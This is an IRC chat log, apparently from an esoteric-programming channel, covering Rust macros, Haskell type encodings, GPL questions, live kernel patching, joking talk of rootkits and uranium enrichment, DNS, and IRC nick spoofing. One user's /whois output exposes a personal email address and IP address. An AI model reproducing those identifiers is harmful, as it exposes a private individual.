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00:26:26 <Sgeo> I think I like WAI and conduits... but Yesod itself maybe not so much :/
00:26:36 <Sgeo> I should actually try writing code at some point
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00:49:17 <not^v> but "Hi" in Barely is xhooooooooooooooxjjjjjjjjjjjjjjhhhh~
00:50:06 <not^v> or atleast i think, dont feel like making a DOS vm (or touching the dinosoar)
00:50:27 <not^v> does anyone know if barely outputs as ASCII?
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02:03:31 <Sgeo> Is ATS likely to be of any interest compared to Idris and similar languages?
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02:17:20 <kmc> Sgeo did you learn Rust yet
02:17:29 <Sgeo> I read about it some time ago
02:17:46 <Sgeo> I should go read about procedural macros in Rust... is that in 0.9 or only in HEAD?
02:18:30 <kmc> think only in HEAD
02:18:34 <kmc> and there's not a lot to read :P
02:19:08 <kmc> I mean "procedural macro" is a fancy term for "we dlopen() your crate in the compiler and stuff your function into the frontend pipeline"
02:19:25 <kmc> so you're coding against the internal rustc APIs (which use deprecated language features, lololol)
02:19:28 <Sgeo> Ah. So not a nice pretty syntax-case
02:20:04 <kmc> the non-procedural "Macros By Example" are pattern-matching-based
02:20:06 <Bike> that's neat, so you have pretty clean compiletime runtime separation
02:20:17 <kmc> but maybe they're closer to syntax-rules? i don't know scheme that well
02:21:28 <kmc> Sgeo: that internal rustc API does include a quasiquote syntax, thankfully
02:21:29 <kmc> https://github.com/kmcallister/html5/blob/82ddb1433237023daf1168abcb8b1c233b5e6858/macros/named_entities.rs#L103-L110
02:21:56 <Sgeo> syntax-rules is pattern matching based, syntax-case includes a macro for pattern matching called syntax-case, but implies other things that allow for arbitrary computation of syntax objects easily
02:22:39 <kmc> Bike: how do you mean?
02:22:57 <Bike> macros don't stick around in the runtime image, they're only loaded in the compiler context
02:23:54 <kmc> sure, that's basically what I expect from a language with macros and a phase distinction
02:24:22 <kmc> the syntax to load a procedural macro crate is #[phase(syntax)] extern crate my_macros;
02:24:30 <kmc> if you want that crate avail. at runtime too you can do #[phase(syntax,link)]
02:27:16 <kmc> actually that's how you load non-procedural exported macros, too
02:27:23 <Bike> does scheme do it?
02:27:30 <kmc> the ability to export macros from a crate came in at the same time as procedural macros
02:27:38 <kmc> idk, scheme doesn't have so much of a phase distinction though, does it?
02:27:53 <kmc> in some lisps anyway "compile" is just a function you can invoke at runtime
02:28:09 <kmc> like instead of (eval foo) you compile it first and now it's faster
02:28:10 <Bike> well, i don't know
02:28:20 <kmc> paging someone who knows scheme
02:28:21 <Bike> common lisp has a phase distinction but macros stick around
02:28:37 <kmc> what do they do at runtime? hang around awkwardly looking at their shoes?
02:28:44 <Bike> basically yeah
02:29:01 <Bike> it's one of the ways common lisp is obviously made for lisp machines :/ (and so a persistent environment you fuck with)
02:30:07 <Sgeo> kmc: Racket has phases, can't speak for Schemes in general
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02:50:24 <kmc> I wonder if anyone has made a runtime eval() for Rust yet
02:50:52 <kmc> in theory it shouldn't be that hard, because the compiler is written as a library (rather, various libraries)
02:51:19 <kmc> and it can compile to a .so and there's a cross-platform dlopen()-like interface already in the stdlib
02:51:39 <kmc> (it's a pretty minimal wrapper, though; doesn't do load-time typechecking or anything)
02:52:19 <kmc> you could also try to use the LLVM JIT, that's what the old rusti used, but it was removed due to bugginess
02:59:42 <Sgeo> Is b -> (a -> b) -> b morally equivalent to Maybe a? Is there a name for doing that? Can it be done with List a?
03:00:21 <copumpkin> it can be done in a couple of different ways with List
03:00:36 <copumpkin> simplest form of that gives you exactly foldr
03:01:35 <Sgeo> Are there types whose church encoding covers more than just the type?
03:01:44 <Sgeo> Was thinking Maybe Int, but not in that case
03:02:14 <Sgeo> But... e.g. something where you could say const something instead of using the input, to build something that doesn't actually correspond to a value that the type has
03:02:52 <copumpkin> as long as you have a polymorphic return value, it's equivalent to some type
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03:06:02 <kmc> how does that theorem work? :)
03:06:08 <Jafet> Sgeo: forall b. b -> (a -> b) -> b is Maybe a
03:06:19 <Jafet> is what copumpkin means
03:06:33 <kmc> Sgeo: there's also Mogensen-Scott encoding
03:08:01 <copumpkin> yeah, that's what I meant by the couple of different ways for List
03:08:09 <copumpkin> for non-recursive types they look the same
03:08:30 <kmc> i forgot the difference, anyway, I guess it's about whether it represents one level of constructor or all of them?
03:08:38 <kmc> like whether it folds the whole list or just applies a function to the first cons cell
03:08:53 <copumpkin> newtype List a = List (forall r. r -> (a -> List a -> r) -> r)
03:08:59 <copumpkin> newtype List a = List (forall r. r -> (a -> r -> r) -> r)
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03:10:33 <Sgeo> SomeException isn't as magic as I thought, I think
03:11:29 <Sgeo> throw ThisException `catch` \e -> putStrLn ("Caught " ++ show (e :: MyException))
03:11:45 <Sgeo> I gather that it's just return type polymorphism getting to brag some more
03:12:48 <copumpkin> does the GPL dislike it if I distribute a subset of someone's work?
03:13:02 <copumpkin> like, I want to distribute a tarball of binutils minus everything that isn't needed for libopcodes
03:13:14 <copumpkin> because it's ****ing huge otherwise
03:13:52 <copumpkin> it doesn't seem like it should be problematic, right?
03:14:17 <Bike> a mirror for the other parts of binutils is provided by the gnu foundation,
03:14:45 <copumpkin> there's a libopcodes-only distro? I'd take that
03:15:02 <copumpkin> it unfortunately also tries to depend on libiberty, bfd, and intl
03:15:52 <Jafet> “You may convey a work based on the Program, or the modifications to produce it from the Program [...]”
03:17:12 <kmc> the gnu operating system
03:17:46 <Jafet> (But “Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.”)
03:18:15 <kmc> I was recently reminiscing about how I happened to have BFD on my résumé when I applied to Ksplice (because I'd done like two 50-line projects)…
03:18:29 <kmc> and they were excited because the core of their product is a 3,000 line C program which uses BFD heavily and has very few comments
03:18:48 <kmc> sorry that's 3,000 lines in one file, there are some other files too
03:20:17 <kmc> http://en.wikipedia.org/wiki/Binary_File_Descriptor_library
03:20:20 <kmc> don't miss the "history" section
03:23:54 <ion> kmc: Any thoughts on <http://rhelblog.redhat.com/2014/02/26/kpatch/>?
03:25:16 <kmc> I haven't looked at this
03:25:42 <kmc> it looks extremely similar to Ksplice
03:26:01 <kmc> not just in purpose/design but the code structure is very similar
03:26:21 <kmc> it might be a fork -- the original Ksplice was GPL, and they would change the name to avoid Oracle trademark lawyers
03:26:36 <kmc> but I don't see ksplice people listed in the copyright sections
03:27:46 <ion> I wouldn’t mind the maintainers of my $distro starting to use that officially.
03:29:22 <kmc> "Unfortunately kpatch depends on Linux kernel >= 3.7, so it’s not compatible with RHEL/CentOS 6."
03:29:34 <Jafet> Heh, the github history starts with a 2000-line kmod
03:29:36 <ion> at some point in the future
03:29:41 <Jafet> ... this may have been written from scratch
03:30:06 <kmc> the commercial version of ksplice worked all the way back to RHEL4's 2.6.9 kernel
03:30:23 <kmc> though the released GPL code only supported CentOS 5
03:30:43 <kmc> supporting 2.6.9 resulted in some hilarity, had to ksplice fixes to bugs that would prevent other ksplicing from working
03:31:31 <kmc> yeah it's cool that you could apply updates to a system that was booted years before ksplice existed
03:31:43 <kmc> since it works on a totally stock distro kernel without rebooting even once
03:31:52 <ion> yeah even :-P
03:32:15 <kmc> I don't think it would take all that much work for some skilled kernel developers (of which RH has many) to reimplement ksplice just for 3.7+
03:32:23 <kmc> since they have the paper and the GPL'd code to look at
03:33:18 <kmc> and they have a clear competitive reason to do so
03:34:00 <Bike> ion and kmc have the same color on my end and it's tripping me out
03:34:02 <Jafet> “Frequently Asked Questions. Q: Isn't this just a virus/rootkit injection framework?”
03:34:12 <kmc> ksplice would make a baller rootkit
03:34:13 <Bike> thank you jafet
03:34:17 <kmc> it's also a good rootkit detector
03:34:19 <Bike> you have broken the curse
03:34:21 <kmc> we detected a lot of rootkits bitd
03:34:26 <Jafet> uhhh yes insmod is a great rootkit injection
03:34:59 <kmc> yeah, what I mean is that ksplice tech would help one write a very sophisticated rootkit, but having ksplice on your system doesn't make it any easier for an attacker to install a rootkit
03:35:17 <Bike> do malicious linux rootkits exist
03:35:32 <Jafet> Almost certainly yes
03:35:34 <kmc> i don't understand the question
03:35:35 <ion> No, they are all benevolent.
03:36:17 <kmc> I want to write a Linux kernel rootkit in Rust
03:36:41 <kmc> people have written a few kernel modules in Rust but only hello world stuff
03:36:51 <kmc> it would be fun to do something complicated and actually write Rust bindings for parts of the kernel API and such
03:37:03 <Bike> when i used windows i got hit by rootkits once or twice. does (not "can") this occur on linux
03:37:17 <kmc> yes, most servers run Linux so malware for compromising Linux servers is very popular
03:37:34 <kmc> "rootkit" is something I associate with servers, anyway
03:37:44 <kmc> it's usually called something else when it's desktop malware although the distinction may be arbitrary
03:38:00 <kmc> to me the term "rootkit" basically assumes you have a nosy sysadmin and you want to hide things from them
03:38:40 <kmc> one of the major features of a rootkit is to hide stuff from ls, ps, etc.
03:39:01 <kmc> fungot: are you a nosy sysadmin
03:39:02 <fungot> kmc: hm, scheme would go fnord. i'll start working on it
03:39:16 <Jafet> I thought eastern european haxxxorz but that sounds plausible too
03:39:20 <kmc> fungot: very good. give me status updates every half-hour.
03:39:20 <fungot> kmc: all fnord colours are black, no matter what it's called
03:39:35 <kmc> "HAXXXOR Volume 1: No Longer Floppy"
03:39:49 <kmc> https://archive.org/details/haxxxor_volume_1_dvd nsfw
03:39:56 <Jafet> fungot: any fnord colour you like
03:39:57 <fungot> Jafet: but without mmu isn't as bad as last time we had turkey was the thanksgiving of ' 98 when the oven element burned out and we made easy os.
03:40:08 <Bike> With the risque "HaXXXor" series of low-budget films, Nmap makes the leap from Science fiction to soft-core pornography.
03:40:31 <Bike> http://nmap.org/movies/elysium/elysium-nmap-screenshot-720x400.jpg i love this shit
03:41:13 <ion> I hate it when hackers download lethal threats to my data hosts.
03:41:15 <Bike> "If you notice something familiar about the background Nmap scans in the screenshots below, it's because the film makers directly cribbed some of them from The Matrix Reloaded. " oh this is good stuff
03:45:37 <shachaf> i should keep reading that book
03:49:32 <Bike> the novelization of matrix reloaded was pretty good,
03:51:09 <kmc> oh, this RH thing uses <gelf.h> rather than BFD
03:51:11 <kmc> probably wise.
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04:09:37 * Sgeo reads http://community.haskell.org/~simonmar/papers/ext-exceptions.pdf
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04:31:31 <Sgeo> "There was an experiment at Sandia Labs in which a backdoor was inserted into code and code reviewers told where in code to look for it. They could not find it – even knowing where to look."
04:32:00 <Sgeo> I don't know details, I'm just quoting from https://blogs.oracle.com/maryanndavidson/entry/mandated_third_party_static_analysis
04:34:50 <Sgeo> Hmm, hivemind seems to dislike that article http://www.reddit.com/r/netsec/comments/21fj35/mandated_third_party_static_analysis_bad_public/
04:42:37 <zzo38> Is the code available that other people can look too?
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04:51:31 <kmc> yeah while we're at it I'll also take a glance at some of their hydrogen bomb designs
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05:18:52 <quintopia> kmc: eh why bother. we could probably do better building an open source H-bomb.
05:21:17 <kmc> how hard can it be
05:22:51 <pikhq> Just stick some hydrogen in a jar, right?
05:23:03 <quintopia> well there's that one 14-year-old kid who built a reactor, and enriched some yellow cake in his garage. so i think the answer to your question is "so easy a well-informed teenager could do it"
05:23:12 <copumpkin> kmc: I pushed my libopcodes haskell binding
05:23:22 <copumpkin> it's not on hackage yet, but I'll get it up sometime
05:23:31 <copumpkin> it's still pretty rough but I'll polish it up over the weekend
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05:24:35 <kmc> i think there are a few steps from somewhat enriched uranium to weaponized thermonuclear device
05:25:18 <quintopia> yeah. nothing so difficult we couldn't do it with a couple hundred k dollars in machinery, right?
05:28:33 <kmc> good luck w/ that
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05:29:42 <Bike> i'd like to point out that the first artificial nuclear reactor was made of wood
05:29:56 <Bike> weekend project for dads, imo
05:31:37 <kmc> nuclear reactor hackathon
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05:33:15 <Bike> you know i don't actually know how uranium is enriched. or what that means. is it just getting the radioactive isotope out of the ore
05:33:44 <kmc> pretty much
05:33:51 <kmc> there are lots of ways http://en.wikipedia.org/wiki/Enriched_uranium#Enrichment_methods
05:34:07 <Bike> i just hear 'centrifuge' and i'm like oh those are easy
05:34:18 <kmc> they're pretty intense centrifuges
05:34:30 <Bike> gas centrifuge. oh.
05:34:55 <kmc> actually the method used at Oak Ridge during the war is pretty amusing / something
05:34:58 <kmc> http://upload.wikimedia.org/wikipedia/commons/d/d8/Diagram_of_uranium_isotope_separation_in_the_calutron.png
05:35:03 <kmc> http://en.wikipedia.org/wiki/Calutron
05:35:38 <kmc> "Want of copper for the large coils to produce the magnetic fields prompted a solution possible only in wartime: Groves borrowed 14,700 short tons of pure silver from a government vault for the purpose; all was later returned, the last few tons in 1970."
05:36:12 <Bike> the picture just looks like a spectrometer though. wikipedia agrees i guess
05:36:28 <kmc> shoot uranium into the air w/ a magnetic field and pick up the bits that land in a certain place
05:37:03 <Bike> so uh, a really big spectrometer.
05:37:25 <kmc> also like the last paragraph here http://en.wikipedia.org/wiki/Calutron#Scaling_up_at_Oak_Ridge
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05:37:57 <Bike> regular lab ultracentrifuges can get like two million g's though
05:37:59 <Bike> psycho equipment
05:38:21 <Bike> http://en.wikipedia.org/wiki/File:Ultracentrifuge.jpg the face of death
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05:41:16 <Bike> if you dumped uranium fluoride ore in one you would probably die though
05:42:00 <kmc> uranium and fluorine
05:42:04 <kmc> two great tastes that go great together
05:42:33 <Bike> "Tetrauranium octadecafluoride" hell yeah
05:43:07 <coppro> Bike: that sounds very, very dangerous
05:43:34 <coppro> like seriously. 18 fluorides? what the hell
05:44:07 <Bike> kinda doubt it
05:44:37 <Bike> fluorine isn't dangerous in compounds, that's the whole point
05:47:21 <douglass_> lots of fluorines per available electron density -> it's still hungry
05:47:50 <douglass_> chlorinated hydrocarbons are fine, but this...
05:48:15 <douglass_> (unrelated: fluorophilicity, what the fuck?)
05:48:46 <Bike> http://en.wikipedia.org/wiki/Uranium_hexafluoride uranium hex seems aight
05:48:50 <Bike> wonder if tsunamis explode it
05:49:04 <douglass_> (why is it a thing that things will separate into a polar fraction, a nonpolar fraction, and a fluorinated fratction???)
05:49:27 <Bike> just to fuck w/you
05:49:29 <kmc> i don't even understand the first two -__-
05:49:39 <Bike> first two what
05:49:43 <douglass_> highly toxic, reacts violently with water, corrosive to most metals
05:49:47 <kmc> why things separate into polar and nonpolar
05:49:53 <douglass_> so yeah tsunamis probably explode it
05:49:56 <kmc> I mean I kind of get it but probably would fail to explain it properl
05:50:32 <douglass_> polar things are attracted to each other more than nonpolar things are attracted to each other or polar and nonpolar are attracted, because they can reorient to have partial positives next to partial negatives
05:50:42 <douglass_> so polar things stick together and push out the nonpolar
05:50:59 <Bike> just in case you were too used to opposites attracting
05:51:07 <kmc> I guess that is what I would have said before,
05:51:12 <kmc> but somehow it's vaguely unsatisfying
05:51:28 <kmc> I guess because the saying is "like attracts like" but the nonpolar stuff here only ends up together by default
05:51:52 <Bike> you t hink that's unsatisfying let me tell you about "determining" a compound's polarity by counting oxygens and shit
05:52:23 <douglass_> wait who does that? that sounds like a stupid way to do it
05:52:34 <Bike> babby's first bio classes
05:53:03 <douglass_> though i guess in bio all the molecules are really big so they can kind of line up any way they want to and it's almost ok?
05:53:15 <Bike> inorganic chemistry is 'something i'm pretty bad at'
05:53:30 <Bike> not that i'm actually good at org but hey
05:53:38 <Bike> least i don't have to care about dipoles
05:54:50 <Bike> ok yes. we did some basic chromatography with some chlorophylls.
05:55:00 <Bike> "To determine polarity, count the number of polar oxygens present in each molecule."
05:55:06 <douglass_> wait doesn't ochem care about dipoles too?
05:55:23 <douglass_> anyway, yeah, chlorophylls are huge and i doubt that's actually a terrible approximation even though it's icky
05:55:38 <Bike> http://dwb4.unl.edu/Chem/CHEM869E/CHEM869ELinks/www.uis.edu/7Etrammell/organic/introduction/polarity.htm hm hm
05:55:48 <Bike> douglass_: we also only cared about relative polarity so there's that
05:56:38 <Bike> oh hey a whole monograph "Dipole Moments in Organic Chemistry (Physical methods in organic chemistry) "
05:57:14 <Bike> i just kind of talk a lot about things i don't know srry
05:57:49 <kmc> fungot: how do you determine polarity
05:57:49 <fungot> kmc: i suggest where the left fnord is in my class at all. thanks. :) but sure
05:57:57 <kmc> none pizza with left fnord
05:58:23 <Bike> i did think it was neat that chlorophylls are bloggy and beta carotene and xanthophyll have huge ass hydrocarbon chains
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06:21:23 <Sgeo> How do you count the number of inhabitants of (forall a. a -> a -> a)?
06:21:46 <Sgeo> The correct answer's two, right? (Pretending _|_ doesn't exist)
06:22:20 <Bike> you forgot about bill who has a summer home there
06:22:40 <Sgeo> But... a -> (a -> a), a -> a has one inhabitant, 1 ^ 1 = 1... pretty sure the forall is confusing me
06:22:59 <copumpkin> that's not valid without the quantifier
06:23:09 <copumpkin> forall a. a -> a has one inhabitant
06:23:15 <copumpkin> but you shifted the quantifier out
06:24:35 <copumpkin> forall a. a -> a -> a ~~ forall a. (a, a) -> a ~~ forall a. (Bool -> a) -> a ~~ Bool
06:26:29 <Sgeo> How does that middle step work, (a, a) being (Bool -> a)?
06:28:01 <ion> @type let f (a,b) = \sel -> if sel then b else a; g foo = (foo False, foo True) in (f, g)
06:28:02 <lambdabot> ((t, t) -> Bool -> t, (Bool -> t1) -> (t1, t1))
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07:50:31 <zzo38> Do you think SQL is a very good programming language for statistics/data analysis?
07:52:27 <zzo38> I think so. I also think that, when SQLite is used as a application file format and/or internal format, it allows you to have a embedded programming language for free.
07:52:27 <Bike> never been there
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08:31:58 <oerjan> <maurer> kmc: For example, krogstad :( <-- did you know that google is entirely useless for finding out what americans mean by a word that is actually from your own, different, language?
08:32:20 <kmc> it's the surname of somebody we know
08:32:26 <kmc> what does it mean in your own, different language
08:32:45 <oerjan> i assumed you were talking about some company
08:33:19 <oerjan> (probably founded by a norwegian-american, but still impossible to google if it's not _very_ famous)
08:33:54 <oerjan> because there are all these _norwegian_ people and companies that google insists on putting first based on your location
08:34:19 <oerjan> also, it's originally a placename
08:35:26 <oerjan> except probably a small one, because it's impossible to google that, either.
08:36:37 <oerjan> no:krok = en:hook, no:stad = en:place,town
08:36:56 <oerjan> and the k used to be g in earlier orthography (still is in danish)
08:37:16 <oerjan> hm maybe they modernized that in the placename...
08:38:27 <oerjan> because danish has this habit of softening final and intermediate consonants that were hard in norse, which norwegian doesn't
08:42:23 <oerjan> http://no.wikipedia.org/wiki/Krokstadelva exists, at least (and claims this krok is actually from a rare personal name)
08:43:31 <oerjan> which, given the final r, was back in norse times
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11:34:06 <Jafet> Molten PLA smells nice
12:09:56 -!- Zom-B|zz has changed nick to Zom-B.
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12:10:32 <Zom-B> [14-03-29 13:09:49] <lambdabot> You have 1 new message. '/msg lambdabot @messages' to read it.
12:10:32 <Zom-B> [14-03-29 13:09:59] <Zom-B> @messages
12:10:32 <Zom-B> [14-03-29 13:10:00] <lambdabot> You don't have any messages
12:10:33 <oerjan> printing or burning, what's the difference
12:11:22 <oerjan> @ask Zom-B What about now?
12:11:44 <Zom-B> i got your message
12:12:13 <oerjan> int-e: you get right on it
12:12:57 <Zom-B> i dont see any other @ask kere
12:13:14 <oerjan> you just changed your nick didn't you.
12:13:26 <oerjan> change back and try again
12:13:28 <Zom-B> not the first time though
12:14:19 <Zom-B> i got the messaage notify after i changed
12:14:29 -!- Zom-B has changed nick to Zom-B|zz.
12:14:42 -!- Zom-B|zz has changed nick to Zom-B|aw.
12:15:05 -!- Zom-B|aw has changed nick to Zom-B.
12:15:26 <Zom-B> i got one other message to pop up, from 3d ago
12:16:36 <Zom-B> there was another person on here with my nick for more than a day, before i managed to register it
12:16:47 <Zom-B> maybe he read my message
12:17:20 <Zom-B> even after i registered, he took my nick, before i ghosted his ass
12:18:08 <oerjan> well that doesn't explain how he managed to get in between the minute you were notified and when you tried to read it
12:18:10 <Zom-B> some mof: Zom-B is ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 * zom_b@gmx.de
12:18:48 -!- oerjan|hm has joined.
12:19:10 <oerjan> @ask oerjan|hm Are you ok?
12:19:36 <Jafet> Huh, so targeting messages at nicknames is not secure.
12:20:00 <Zom-B> should target logins rather than nicks
12:20:13 -!- oerjan|hm has left.
12:20:28 <oerjan> the problem is then it couldn't be used with people who aren't logged in
12:21:01 <Zom-B> why have a messagebot at all whe you have /ms?
12:22:49 <Zom-B> [14-03-29 13:21:51] -MemoServ- ***** MemoServ Help *****
12:22:49 <Zom-B> [14-03-29 13:21:51] -MemoServ- MemoServ allows users to send memos to registered users.
12:22:57 <Zom-B> registered users only
12:23:06 <oerjan> and memoserv tends to get lost in my status window.
12:23:56 <Zom-B> i once made a message bot by login name, but people didnt understand how to use it (they tried nicks)
12:24:10 <Zom-B> then i let it track all usernames which belong to logins, but that was a major PITA
12:24:34 <Zom-B> because people sometimes take each other's nick when the other is not online to troll people
12:24:55 <Zom-B> and one person can have different logins dependong on from wehere they connect
12:25:05 <oerjan> you can get the information from /whois
12:25:12 <Zom-B> so the algorithm grouped multiple 'real' people together as being one
12:25:31 <Zom-B> the bor did /whois/ every time someone it itself connected
12:26:52 <oerjan> Zom-B: you should track the entirel nick!user@host part i think
12:27:24 <oerjan> Zom-B: oh wait that's what you mean by login
12:27:32 <Zom-B> for example, if you take me, it would have thought ~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl and ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 were the same person
12:27:36 <oerjan> freenode accounts are different again
12:27:49 <oerjan> and you can find those with /whois as well
12:28:04 <oerjan> (although you have to wait until they're finished registering)
12:29:19 <Zom-B> if i would do /nick oerjan|hm, then it would also group oerjan@sprocket.nvg.ntnu.no and think we're both the same person
12:29:48 <oerjan> yeah without proper registrations you cannot make it secure, really
12:30:04 <oerjan> well secure and convenient
12:30:34 <oerjan> so lambdabot doesn't even try.
12:31:05 <Zom-B> i didnt even try fixing my message bot (actually just a small module within a much larger bot) and just discarded it
12:31:29 <Jafet> Well, lambdabot can't even track nicknames to begin with, so it's rather moot
12:31:49 <oerjan> @seen was removed ages ago
12:32:36 <Zom-B> i think its awesome that someone went and made a bot in befunge
12:33:31 <int-e> I suspect that having lambdabot issuing whois queries would create more problems than it could possibly solve.
12:34:15 <Zom-B> i think you should built in a message list that the user has to clear manually, that way noone can 'lose' messages that are read by others
12:34:49 <int-e> (it would also a design challenge, since it would add an asynchronous query to a design that's currently (mostly?) synchronous.)
12:34:52 <oerjan> Zom-B: um it wouldn't prevent others from clearing the messages
12:35:06 <Zom-B> i assume that they read it by accident
12:35:19 <Zom-B> otherwise keep te last 10 messages oir so
12:36:01 <oerjan> i'm not sure it happens that much by accident? lambdabot is not on _that_ many channels...
12:36:02 <int-e> I would hate having to clear them explicitely.
12:36:11 <Jafet> Modify your own irc client to send them the message when they log in.
12:36:24 <int-e> oerjan: 70 is a lot in my view.
12:36:24 <Zom-B> it messaged 'zom-b' that there were messages, and someone else took my nick
12:36:56 <oerjan> int-e: yes but is it enough that people accidentally confuse nicks in them _and_ get @tells
12:37:27 <int-e> nah, I thought the problem was the opposite
12:37:48 <Zom-B> lambdabot is on 70 channels O_o?
12:37:49 <int-e> people changing nicks (or getting an _ appended, whatever) and never seeing that they got messages because of that.
12:37:51 <oerjan> Zom-B: are you sure that happened
12:38:12 <Zom-B> Zom-B Nickname is already in use.
12:38:12 <Zom-B> Zom-B is ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 * zom_b@gmx.de
12:38:12 <Zom-B> Zom-B using hobana.freenode.net Bucharest, RO
12:38:12 <Zom-B> ZOm-B End of /WHOIS list.
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12:38:57 <Zom-B> im not 100% sure that he actually got messages from lambdabot but what other explaination is ther?
12:39:19 <oerjan> Zom-B: you can activate nickserv's protection against that if you want.
12:39:32 <Zom-B> al ready registered yesterday
12:40:08 <oerjan> i don't mean plain registration, there's a flag to automatically throw out people trying to use your nick without logging on
12:41:09 <oerjan> the downside is that you have to do some command to get on yourself afterward when it happens, iirc
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12:42:10 <Zom-B> you get a 60 second timer if you're not logged in, but i have a login script that runs on every connect
12:45:36 <oerjan> i just use a server password
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12:51:05 <fizzie> I just use a X.509 certificate.
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15:28:47 <elliott> fizzie: the nameservers for esolangs.org should have been switched over now
15:28:50 <elliott> (they are in whois locally)
15:41:30 <int-e> I get ns1.twisted4life.com. and eos.zem.fi.
15:42:16 <int-e> (from one of the .org nameservers)
15:43:07 <int-e> A guess: To get some sleep?
15:43:14 <elliott> because a spammer was playing whack-a-mole with names with elliott in it and I was bored
15:43:40 <elliott> int-e: eos.zem.fi should be the "primary" one, but apparently DNS nameservers are unordered and the primary one just goes in another record or something?
15:43:47 <elliott> I don't really know how DNS works.
15:44:09 <elliott> I also don't know how long I should leave the esolangs.org records lying around in the Linode DNS...
15:44:11 <int-e> elliott: right that's an internal arrangement, the rest of DNS doesn't care.
15:44:52 <int-e> (one step further you can see that: esolangs.org. 259200 IN SOA eos.zem.fi. postmaster.esolangs.org. 2014032301 28800 7200 2419200 86400)
15:45:12 <int-e> SOA meaning "start of authority" and eos.zem.fi being the authorative name server.
15:45:21 -!- password2 has joined.
15:46:46 <int-e> while the .org server just shrugs its shoulders and refers you to two nameservers that should know more.
15:46:51 <elliott> I just use Linode's web interface to set it all up initially because what's a DNS.
15:48:48 <elliott> it got set up in early 2012.
15:49:23 <elliott> does this place even do VPSes?
15:49:53 <copumpkin> but this is a crazy good deal: http://www.online.net/en/dedicated-server/dedibox-scg2
15:50:03 <elliott> I don't wanna keep paying linode $20/mo, but I can get a VPS cheaper than these prices and I don't need the muscle :p
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15:51:29 <copumpkin> I also got myself one of these recently, that's very cute: http://www.amazon.com/gp/product/B00FWUVTS0
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15:54:58 <int-e> cute. I wonder how long it takes to compile ghc on one of those ...
16:03:24 <int-e> Anyway, I suspect it would be too weak for running lambdabot.
16:08:08 <copumpkin> you talking about the VIA box or the ARM one?
16:08:33 <int-e> > text . map chr . scanl1 (+) $ [40,58,3,-2,-2,20,-2,-14,-69,71,1,-5,-67,84,-19,10,-6,14,-83,65,6,-2,14,-83,84,-5,-79,76,3,-14,3,-68,65,11,0,-76,84,-12,-3,-69,80,-15,2,8,-10,6,-2,14,-83,85,-2,-14,-1,-68,66,23,-89,32,50,3,-7,-69]
16:08:34 <idris-ircslave> (input):1:29:When elaborating an application of function Control.Category..:
16:08:35 <lambdabot> (because ghc takes ages to load all the packages used by @run)
16:08:46 <int-e> > text . map chr . scanl (+) 40 [58,3,-2,-2,20,-2,-14,-69,71,1,-5,-67,84,-19,10,-6,14,-83,65,6,-2,14,-83,84,-5,-79,76,3,-14,3,-68,65,11,0,-76,84,-12,-3,-69,80,-15,2,8,-10,6,-2,14,-83,85,-2,-14,-1,-68,66,23,-89,32,50,3,-7,-69]
16:08:46 <idris-ircslave> When elaborating an application of function Control.Category..:
16:08:47 <lambdabot> Couldn't match expected type `a0 -> [GHC.Types.Int]'
16:08:56 <idris-ircslave> (input):1:1:When elaborating an application of constructor __infer:
16:08:57 <lambdabot> `P.scanl' (imported from Prelude),
16:08:57 <lambdabot> `BSL.scanl' (imported from Data.ByteString.Lazy),
16:08:57 <lambdabot> `BS.scanl' (imported from Data.ByteString)
16:09:25 <int-e> err. it worked the first time. mumble.
16:09:33 <int-e> idris-ircslave: begone
16:09:33 <idris-ircslave> (input):1:1:When elaborating an application of constructor __infer:
16:09:55 <int-e> copumpkin: the via one
16:10:11 <int-e> I have not looked at the arm one
16:10:26 <copumpkin> I dunno, I guess I could try installing lambdabot on it and see :)
16:10:30 <int-e> with ARM I would worry about getting code to run.
16:11:37 <int-e> But I don't know whether this is a real concern.
16:12:22 * int-e is a happy ramnode customer, for running lambdabot
16:14:17 <fizzie> I should probably verify that postmaster@esolangs.org also works, given that I stuck it in.
16:14:19 <int-e> (They sell VMs, where essentially, you pay for provided RAM; a 1GB VM is about twice as expensive as a 512MB one. As far as I know, they don't overcommit that ressource.)
16:14:51 <fizzie> (hostmaster probably would've been the more appropriate alias in a SOA record, too.)
16:15:02 <int-e> which I found to be a refreshingly honest approach to selling VMs.
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16:15:41 <fizzie> prgmr pricing is also RAM-based.
16:15:53 <fizzie> It's some amount of dollars per every 64 MB.
16:16:27 <fizzie> "An easy to understand price schedule: $4/month per account, and $1/month for every 64MiB ram."
16:17:29 <copumpkin> but this online.net thing seemed like a pretty cheap baseline if you don't really need growth
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18:40:28 <Melvar> int-e: Was the “begone” serious?
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18:59:29 <Sgeo_> American Express cards have a 4 digit security code printed elsewhere... but there's still a 3 digit code in the place I'm used to
19:00:46 <lexande> yes, the latter is very rarely needed, except occasionally when you are dealing with amex directly
19:02:40 -!- Vorpal has joined.
19:02:56 <Sgeo_> Do I need to register some kind of first+last name if I buy an Amex gift card for myself, and want to use it online?
19:04:02 <Sgeo_> The mygiftcard site wants the 3 digit code
19:04:11 <Vorpal> What the hell happened to my screen, I think my GPU might be borked.... Strange patterns in various rectangular areas of the screen. Switching to a VT and back fixed it.
19:05:15 -!- pikhq has quit (Ping timeout: 255 seconds).
19:05:43 <Sgeo_> And BMT Micro is rejecting the card
19:05:54 <Sgeo_> Or maybe I'm making some mistake
19:06:13 <Sgeo_> Is BMT Micro reputable enough that maybe I shouldn't have bothered with the gift card?
19:06:31 <Vorpal> Well I was planning on a new GPU anyway, but maybe near the end of the year rather...
19:07:28 -!- Phantom__Hoover has joined.
19:07:51 <kmc> did you try turning it off and then on again?
19:08:18 -!- Phantom__Hoover has quit (Client Quit).
19:08:22 <Vorpal> kmc, I know it is not the monitor, since I have two (of different makes), and it spanned both of them
19:08:36 <kmc> BMT Micro, IRT Micro, IND Micro
19:10:37 <Vorpal> Ah, moving windows around to cause the screen to refresh fixed it too.. Third time now.
19:11:00 <Vorpal> Also I have not updated drivers, kernel or anything like that, so likely the hardware is borked
19:14:32 <oerjan> someone nicely added a {{Not typo}} template to Wierd in wikipedia's esolang article. except they miscapitalized it.
19:22:54 <kmc> fungot: no killing moths or putting boiling water on the ants
19:22:54 <fungot> kmc: i'm using ( gambit). did you implement concurrency, btw?
19:22:58 <kmc> fungot: i did not
19:22:59 <fungot> kmc: according to mr twig, the episode's not for two hours? that's about enough politics for me today, so i will need it
